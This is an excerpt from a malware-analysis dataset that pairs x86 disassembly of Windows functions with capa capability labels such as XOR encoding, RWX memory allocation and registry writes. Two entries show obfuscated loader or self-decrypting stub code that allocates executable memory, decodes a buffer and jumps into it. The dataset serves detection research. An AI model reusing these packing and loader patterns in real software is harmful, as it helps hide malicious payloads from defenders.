joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100e5e80
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101a125d
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x101f9834]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov esi, dword [ebp + 8]
mov ecx, esi
call sym.AIDE.dll_public:_void___thiscall_AIDE::AIDEDimension::constructor_void_
lea ebx, [esi + 8]
mov dword [ebp - 4], 0
mov ecx, ebx
call sym.AIDE.dll_public:_void___thiscall_AIDE::AIDEDimension::constructor_void_
mov eax, dword [edi + 0x14]
mov dword [esi], eax
mov eax, dword [edi + 0x30]
mov edi, dword [edi + 0x2c]
mov esi, dword [ebp - 0x10]
lea ecx, [edi + eax]
mov edx, dword [esi + 0x18]
sub edx, eax
cmp ecx, dword [esi + 0x18]
mov eax, dword [ebp + 8]
mov ecx, esi
cmova edi, edx
mov dword [ebx], 0
mov dword [eax + 4], edi
mov ecx, dword [ecx + 0x30]
mov dword [eax + 0xc], ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x100e6320
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x100e632f
pop dword [ebp - 0x14]
mov eax, 0x100e632f
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xda6a6e08
add dword [ebp - 0x24], 0x73e7d743
mov dword [ebp - 0x20], 0xa8df82a
sub dword [ebp - 0x20], 0xd85aabe5
mov dword [ebp - 0x1c], 0x9a3ed737
sub dword [ebp - 0x1c], 0x4df29309
mov dword [ebp - 0x18], 0x418757a1
add dword [ebp - 0x18], 0xbe78a85f
lea eax, [ebp - 0x24]
push eax
mov eax, 0x79582622
sub eax, 0x693dd5fa
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xcc3ab12b
add dword [ebp - 0x24], 0xa837b82b
mov dword [ebp - 0x20], 0x80ab5af1
sub dword [ebp - 0x20], 0x3f3ef97c
mov dword [ebp - 0x1c], 0xcea2d632
sub dword [ebp - 0x1c], 0x6b3369c6
mov dword [ebp - 0x18], 0xc79b67dd
add dword [ebp - 0x18], 0x38649823
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x7f5bbb32
add eax, 0x90be94f2
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x69998
push 0
call eax
mov ecx, 0x5427
xor edx, edx
add edx, eax
mov edi, 0xe9e84dbb
add edi, 0x26395045
add edi, dword [ebp - 0x14]
mov esi, 0xe907920
xor dword [ebp - 0x10], esi
mov ebx, dword [edi]
xor dword [ebp - 4], eax
add ebx, esi
xor dword [ebp - 4], eax
mov dword [edx], ebx
add edx, 4
add edi, 0x71dd8ed3
add edi, 0x8e227131
loop 0x100e6442
add eax, 0x1436f
mov ebx, eax
add eax, 0x3c8df8cc
add eax, 0xc3720739
mov ecx, 0x69f0967b
sub ecx, 0x59f0967b
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x10159fd0
Capabilities:
Terminate process

Disassembly:
cmp dword [str._AdobeIP0000539_], 0
jne 0x10159fe1
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
jmp 0x1019d030
movss xmm5, dword [0x101e25d4]
movss xmm4, dword [0x101e25dc]
movss xmm6, dword [0x101e25d0]
movss xmm7, dword [0x101e25c8]
movss xmm3, dword [0x101a83c8]
push esi
xor esi, esi
nop dword [eax + eax]
movd xmm0, esi
mov eax, esi
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
sub esp, 8
addsd xmm0, qword [eax*8 + 0x101e5600]
cvtpd2ps xmm2, xmm0
movaps xmm0, xmm4
movaps xmm1, xmm2
mulss xmm1, xmm5
subss xmm0, xmm1
cvtss2sd xmm0, xmm0
movsd qword [esp], xmm0
call fcn.100e6320
movaps xmm0, xmm2
mov ecx, eax
mulss xmm0, xmm6
cvtps2pd xmm0, xmm0
movsd qword [esp], xmm0
call fcn.100e6320
movaps xmm0, xmm2
shl eax, 0x10
mulss xmm0, xmm7
add ecx, eax
mov dword [esi*4 + 0x10207160], ecx
mulss xmm0, xmm3
cvtps2pd xmm0, xmm0
movsd qword [esp], xmm0
call fcn.100e6320
movaps xmm0, xmm2
mov edx, eax
mulss xmm0, dword [0x101e25d8]
cvtps2pd xmm0, xmm0
movsd qword [esp], xmm0
call fcn.100e6320
movaps xmm0, xmm2
shl eax, 0x10
mulss xmm0, dword [0x101e25c0]
add eax, edx
mov dword [esi*4 + 0x10207960], eax
mulss xmm0, xmm3
cvtps2pd xmm0, xmm0
movsd qword [esp], xmm0
call fcn.100e6320
movaps xmm0, xmm2
mov ecx, eax
mulss xmm0, dword [0x101e25cc]
cvtps2pd xmm0, xmm0
movsd qword [esp], xmm0
call fcn.100e6320
movaps xmm0, xmm2
shl eax, 0x10
mulss xmm0, dword [0x101e25c4]
add eax, ecx
mov dword [esi*4 + 0x10207560], eax
mulss xmm0, xmm3
subss xmm0, xmm4
cvtps2pd xmm0, xmm0
movsd qword [esp], xmm0
call fcn.100e6320
movaps xmm0, xmm2
mov dword [esi*4 + 0x10207d60], eax
mulss xmm0, dword [0x101e25e4]
mov dword [esi*4 + 0x10208560], edx
mov dword [esi*4 + 0x10208160], ecx
cvtps2pd xmm0, xmm0
movsd qword [esp], xmm0
call fcn.100e6320
movaps xmm0, xmm2
mov dword [esi*4 + 0x10208960], eax
mulss xmm0, dword [0x101e25e8]
cvtps2pd xmm0, xmm0
movsd qword [esp], xmm0
call fcn.100e6320
movaps xmm0, xmm2
mov dword [esi*4 + 0x10208d60], eax
mulss xmm0, dword [0x101e25ec]
cvtps2pd xmm0, xmm0
movsd qword [esp], xmm0
call fcn.100e6320
mov dword [esi*4 + 0x10209160], eax
mulss xmm2, dword [0x101e25e0]
cvtps2pd xmm0, xmm2
movsd qword [esp], xmm0
call fcn.100e6320
mov dword [esi*4 + 0x10209560], eax
add esp, 8
inc esi
cmp esi, 0x100
jb 0x1019d060
pop esi
ret
Function at 0x4019e0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x44
lea eax, [ebp - 9]
mov ecx, eax
call fcn.00402b74
lea eax, [ebp - 0x24]
lea edx, [ebp - 9]
mov dword [esp + 4], edx
mov dword [esp], str.C:WindowsSystem32cleanmgr.exe
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 9]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x24]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], str.open
mov dword [esp], 0
call sym._ShellExecuteA_24
sub esp, 0x18
mov dword [esp + 4], str.Disk_Cleanup_initiated_successfully.
mov dword [esp], sym.imp.libstdc_6.dll_std::cout
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], sym.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call sym.std::ostream::operator___std::ostream____std::ostream__
sub esp, 4
lea eax, [ebp - 0x24]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x401ab0
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x401cf3
Capabilities:
Execute command
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x44
lea eax, [ebp - 9]
mov ecx, eax
call fcn.00402b74
lea eax, [ebp - 0x24]
lea edx, [ebp - 9]
mov dword [esp + 4], edx
mov dword [esp], str.cmd.exe__C_start__min_ms_settings:gaming_game_mode
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 9]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x24]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::c_str___const
mov dword [esp], eax
call sym._system
lea eax, [ebp - 0x28]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftGameBar
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x401e11
mov eax, dword [ebp - 0x28]
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], 0x40725a
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.AllowAutoGameMode
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
test eax, eax
sete al
test al, al
je 0x401ddc
mov dword [esp + 4], str.Game_Mode_activated_and_Gamebar_disabled_successfully.
mov dword [esp], sym.imp.libstdc_6.dll_std::cout
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], sym.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call sym.std::ostream::operator___std::ostream____std::ostream__
sub esp, 4
jmp 0x401e01
mov dword [esp + 4], str.Failed_to_disable_Gamebar.
mov dword [esp], sym.imp.libstdc_6.dll_std::cerr
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], sym.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call sym.std::ostream::operator___std::ostream____std::ostream__
sub esp, 4
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
jmp 0x401e36
mov dword [esp + 4], str.Failed_to_open_GameBar_registry_key.
mov dword [esp], sym.imp.libstdc_6.dll_std::cerr
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], sym.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call sym.std::ostream::operator___std::ostream____std::ostream__
sub esp, 4
lea eax, [ebp - 0x24]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x401e6e
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x4031e0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x409048
call sym._EnterCriticalSection_4
mov ebx, dword [0x409040]
sub esp, 4
test ebx, ebx
je 0x40322b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x403224
test esi, esi
je 0x403224
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x403200
mov dword [esp], 0x409048
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x403410
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x403460
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x403538
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40349e
cmp eax, 4
jne 0x4034c0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x4034ae
cmp edx, 4
je 0x4034ae
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00403410

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4064d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5931d3
mov eax, dword fs:[0]
push eax
sub esp, 0x424
mov eax, dword [0x60a070]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov dword [ebp - 0x42c], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x428], eax
mov dword [ebp - 0x20], 0
push 0x404
lea eax, [ebp - 0x424]
mov dword [ebp - 4], 0
push 0
push eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], 0
call fcn.00540030
add esp, 0xc
mov dword [ebp - 0x424], 0
push 0x60
push 0
mov byte [ebp - 4], 1
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push edi
call ebx
mov esi, eax
mov dword [ebp - 0x430], esi
test esi, esi
jne 0x406589
push 2
push eax
push edi
call ebx
mov esi, eax
mov dword [ebp - 0x430], eax
test esi, esi
jne 0x406589
call fcn.00405350
mov edi, eax
jmp 0x4066a5
push dword [ebp - 0x428]
push dword [ebp - 0x42c]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x4065ac
call fcn.00405350
jmp 0x406698
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
mov dword [ebp - 0x42c], ebx
test ebx, ebx
jne 0x4065ca
call fcn.00405350
jmp 0x406698
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
mov dword [ebp - 0x428], edi
lea eax, [edi + 1]
cmp eax, edi
jae 0x4065eb
mov edi, 0x8007000e
jmp 0x40669a
mov ecx, 2
mov byte [ebp - 4], 2
mul ecx
test edx, edx
ja 0x4066e0
jb 0x406609
cmp eax, 0xffffffff
ja 0x4066e0
cmp eax, 0x400
jbe 0x40661e
push eax
lea ecx, [ebp - 0x424]
call fcn.00409e00
jmp 0x406644
lea eax, [ebp - 0x420]
mov dword [ebp - 0x424], eax
jmp 0x406644
mov dword [ebp - 4], 1
cmp dword [ebp - 0x424], 0
jne 0x40665b
mov edi, 0x8007000e
jmp 0x40669a
push edi
push dword [ebp - 0x424]
push edi
push ebx
push 0
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
jne 0x40667b
call fcn.00405350
jmp 0x406698
mov eax, dword [ebp - 0x424]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x1c]
push dword [ebp - 0x424]
call fcn.004077e0
mov edi, eax
test esi, esi
je 0x4066a5
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x420]
cmp dword [ebp - 0x424], eax
je 0x4066c0
lea ecx, [ebp - 0x424]
call fcn.00409bc0
nop
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0053c439
mov esp, ebp
pop ebp
ret 0x10
push 0x80070216
call fcn.004051a0
int3
Function at 0x409060
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x593448
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x60a070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0
lea ecx, [ebp - 0x1c]
movq qword [ebp - 0x1c], xmm0
call fcn.0049e400
push str.7FBF1F1D_FBEF_490F_B0C1_AB0A1AACBE82
push 0
push 4
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x14], eax
test edi, edi
je 0x40920e
cmp dword [ebp - 0x1c], 0
mov eax, dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [ebp - 0x18]
je 0x4090f9
test esi, esi
je 0x4090e4
push esi
call eax
xor esi, esi
mov dword [ebp - 0x18], esi
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x1c], edi
test esi, esi
je 0x40910a
push esi
call eax
mov dword [ebp - 0x18], 0
push 0
push 0
push 0
push 4
push edi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
mov dword [ebp - 0x18], esi
test esi, esi
jne 0x409131
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x1c], esi
jmp 0x40920e
push 0x2000
push esi
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
test eax, eax
jne 0x40920e
push esi
lea ecx, [ebp - 0x40]
call fcn.00403c00
mov byte [ebp - 4], 1
xorps xmm0, xmm0
movq qword [ebp - 0x28], xmm0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 2
push eax
mov edx, 0x7c
lea ecx, [ebp - 0x40]
call fcn.00498670
mov edi, dword [ebp - 0x24]
add esp, 4
mov esi, dword [ebp - 0x28]
cmp esi, edi
je 0x4091b1
mov ecx, esi
call fcn.0049a770
test al, al
je 0x4091aa
mov ecx, esi
call fcn.0040c2f0
add esi, 0x18
cmp esi, edi
jne 0x409198
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 1
call fcn.00403e70
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x2c]
cmp edx, 8
jb 0x4091f7
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4091ed
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409238
push edx
push ecx
call fcn.0053c9a6
add esp, 8
xor eax, eax
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
mov byte [ebp - 4], al
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], 0xffffffff
call fcn.0049e420
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0053c439
mov esp, ebp
pop ebp
ret
call fcn.00549bed
int3
Function at 0x429890
Capabilities:
Get process heap flags
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x598b81
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x60a070]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
push 0x138
call fcn.0053c458
mov edi, eax
mov dword [ebp - 0x10], edi
mov dword [ebp - 4], 0
push 0x18
mov dword [ebp - 0x14], edi
mov byte [edi], 0
call fcn.0053c458
add esp, 8
mov dword [edi + 4], eax
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov byte [ebp - 4], 1
lea esi, [edi + 8]
push 0
mov dword [ebp - 0x18], esi
push 0
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.00430330
mov dword [esi], eax
mov byte [ebp - 4], 4
lea esi, [edi + 0x10]
push 0
mov dword [ebp - 0x18], esi
push 0
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.00430330
mov dword [esi], eax
mov byte [ebp - 4], 7
lea ecx, [edi + 0x20]
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
call fcn.00403c50
mov byte [ebp - 4], 8
lea ecx, [edi + 0x38]
call fcn.0041b4c0
mov byte [ebp - 4], 9
lea esi, [edi + 0xb8]
mov ecx, esi
mov dword [ebp - 0x18], esi
call fcn.00403c50
mov byte [ebp - 4], 0xa
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov byte [esi + 0x30], 0
mov byte [ebp - 4], 0xb
lea ecx, [edi + 0xf0]
call fcn.00403c50
mov byte [ebp - 4], 0xc
lea ecx, [edi + 0x108]
call fcn.0040d340
mov byte [ebp - 4], 0xd
lea ecx, [edi + 0x120]
call fcn.0040d340
mov dword [ebp - 4], 0xffffffff
mov eax, ebx
mov dword [ebx], edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x435410
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x59ad6c
mov eax, dword fs:[0]
push eax
sub esp, 0xb8
mov eax, dword [0x60a070]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
mov edi, dword [esi]
test edi, edi
jne 0x43544e
xor al, al
jmp 0x43561a
lea eax, [edi + 0x38]
push eax
lea ecx, [ebp - 0xc4]
call fcn.00435640
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x94]
call fcn.0040d260
test eax, eax
je 0x4355d7
lea ecx, [ebp - 0x7c]
call fcn.0040d260
test eax, eax
je 0x4355d7
cmp dword [ebp - 0x64], 0
jne 0x4355a9
mov edx, dword [esi + 8]
mov eax, edx
mov ecx, dword [esi + 0xc]
or eax, ecx
jne 0x435546
lea eax, [ebp - 0x40]
xorps xmm0, xmm0
push eax
mov ecx, edi
movlpd qword [ebp - 0x1c], xmm0
call fcn.0042f690
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x40]
call fcn.0040d260
test eax, eax
je 0x43552a
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
lea ecx, [ebp - 0x40]
call fcn.00403b40
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x43552a
test edi, edi
je 0x43552a
push 0
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0
push eax
push 8
lea eax, [ebp - 0x1c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x435523
xorps xmm0, xmm0
movlpd qword [ebp - 0x1c], xmm0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x18]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x40]
call fcn.00403bb0
mov dword [esi + 8], edi
mov edx, edi
mov dword [esi + 0xc], ebx
mov ecx, ebx
or edx, ecx
je 0x4355d0
lea ecx, [ebp - 0x24]
call fcn.004b67e0
mov ecx, dword [esi + 8]
mov esi, dword [esi + 0xc]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
cmp edx, esi
ja 0x43556c
jb 0x4355d0
cmp eax, ecx
jb 0x4355d0
push esi
push ecx
push edx
push eax
call fcn.004358e0
test al, al
je 0x4355d7
lea ecx, [ebp - 0x24]
call fcn.004b6b80
test eax, eax
js 0x4355d0
lea ecx, [ebp - 0x24]
call fcn.004b6b80
cmp eax, 3
jg 0x4355d0
call fcn.0055efa5
xor edx, edx
mov ecx, 0xf0
div ecx
cmp edx, 1
jne 0x4355d7
mov bl, dl
jmp 0x4355d9
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, dword [esi + 0x10]
test eax, eax
je 0x4355d4
cmp ecx, eax
jbe 0x4355d4
sub ecx, eax
mov eax, 0x10624dd3
mul ecx
shr edx, 6
add edx, 2
cmp edx, dword [ebp - 0x64]
jb 0x4355d7
mov bl, 1
jmp 0x4355d9
mov dword [esi + 0x10], ecx
xor bl, bl
mov dword [ebp - 4], 4
lea ecx, [ebp - 0x7c]
call fcn.00403bb0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x94]
call fcn.00403bb0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xac]
call fcn.00403bb0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc4]
call fcn.00403bb0
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0053c439
mov esp, ebp
pop ebp
ret 4
Function at 0x4356f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x59adf8
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x60a070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
mov dword [esi + 0x10], eax
call fcn.0055ef4d
mov ecx, dword [esi]
add esp, 4
mov dword [esi + 8], eax
mov dword [esi + 0xc], edx
test ecx, ecx
je 0x4357ca
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x1c], edx
call fcn.0042f690
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x38]
call fcn.0040d260
test eax, eax
je 0x4357bb
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x38]
call fcn.00403b40
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4357bb
test esi, esi
je 0x4357bb
push 0
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
push 8
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x38]
call fcn.00403bb0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0053c439
mov esp, ebp
pop ebp
ret 4